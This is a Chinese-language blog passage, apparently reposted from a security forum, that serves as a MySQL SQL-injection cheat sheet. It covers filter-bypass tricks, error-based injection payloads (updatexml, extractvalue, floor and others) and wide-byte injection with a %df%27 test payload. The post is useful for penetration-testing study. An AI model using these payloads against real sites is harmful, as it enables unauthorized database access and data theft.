mysql 4.0注入_史上最水的MYSQL注入总结

[TOC]

0x1 Forward

​ 这篇文章的雏形我是发在了t00ls,后来我想了下还有其他挺有意思的内容还没总结进来,于是就有了一篇升级版(ps水货本质还是没变),希望有需要的师傅可以阅读看看。

0x2 MySQL 基础知识

1.字符串截取函数

left(str,index) //从左边第index开始截取

right(str,index) //从右边第index开始截取

substring(str,index) //从左边index开始截取

substr(str,index,len) //截取str,index开始,截取len的长度

mid(str,index,ken) //截取str 从index开始,截取len的长度

2.字符串比较

strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1

find_in_set(str,strlist) //如果相同则返回1不同则返回0

3.字符串连接函数

concat(str1,str2) //将字符串首尾相连

concat_ws(separator,str1,str2) //将字符串用指定连接符连接

group_concat()//

4.一些绕过注入的罕见函数

instr(str1,substr) //从子字符串中返回子串第一次出现的位置

lpad(str,len,padstr) rpad(str,len,padstr) // 在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果

5.运算符

0x5.1算术运算符:

+ - * /

0x5.2比较运算符:

= <> != > <

(1)between //select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';

(2)in //select '123' in ('12') => 0

(3)like(模糊匹配) //select '12345' like '12%' => true

(4)regexp 或 rlike(正则匹配)//select '123455' regexp '^12' => true

0x5.3 逻辑运算符:

not或! 非

AND 逻辑与 == &&

OR 逻辑或 == ||

XOR 逻辑异或 == ^

0x5.4位运算符:

& 按位与

| 按位或

^ 按位异或

! 取反

<< 左移

>>右移

0x5.6.注释符

# //单行注释符,url记得编码为%23

/**/

--+

6.常用函数

0x6.1 延时函数

sleep()

benchmark(1000000,sha(1))

0x6.2 编码函数

hex() ascii()

0x6.3 文件函数

1.load_file //读取文件

2.outfile //写入文件

7.一些构造语句的知识

0x7.1 条件语句

if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3

select case when (条件) then 代码1 else 代码 2 end

0x7.2 information_schema 结构

information_schema.tables:

查询表名:table_name 对应的数据库名: table_schema

information_schema.columns:

查询列名:column_name 对应的表名:table_schemamysql盲注语句一般形式

查询结果 + 比较运算符 + 猜测值

0x7.3mysql 报错注入

构造报错语句 + 查询结果

0x7.4 mysql 联合注入

构造联合语句 + 查询结果

0x7.5 mysql 盲注

查询结果 + 比较运算符 + 猜测值

0x7.6 mysql空白字符

%20 %09 %0a %0b %0c %0d %a0 /**/ tab

%a0 这个不会被php的\s进行匹配

/*!*/ 内敛注释

# 这个也可以用来做分隔 挺有意思

0x7.7 some tips

0x7.6.1函数名和括号直接可以插入特殊字符 ex

concat/**/()

information_schema/**/./**/TABLES

information_schema%0a.%0aTABLES

0x7.6.2 {identifier expr}

​ select {x 1} from {x test} limit 1;

0x3 浅谈MYSQL报错注入(略)

常见payload如下:

1.floor()

and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.updatexml() //5.1.5

and 1=(updatexml(1,concat(0x3a,(select user())),1))

3.extractvalue() //5.1.5

and extractvalue(1,concat(0x5c,(select user())))

4.exp() //5.5.5版本之后可以使用

select host from user where user = 'root' and Exp(~(select * from (select version())a));

5.name_const //支持老版本

select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

6.geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring() 几何函数报错

select multipoint((select * from (select * from (select * from (select version())a)b)c));

0x4 浅谈宽字节注入

原理介绍: 【PHP代码审计】入门之路——第二篇-宽字节注入

(1)MYSQL client链接编码的锅

查看编码:show variables like '%character%'

当客户端连接编码设置为GBK的时候 与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。

测试payload: index.php?id=%df%27

流程: %df%27->addslashes()->%df%5c%27->数据库交互gbk编码->運'

(2)MYSQL iconv函数 mb_convert_encoding函数的锅

借用先知: $id =iconv('GBK','UTF-8', $id)

%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27

其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。

(3)Big5编码导致的宽字节注入

之前有幸在ddctf 2017被虐过一次,当时就对这个点进行了一些小研究,比如编码的过程 由于当时啥也不懂,搞得有点奇怪,这里就记录一下

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值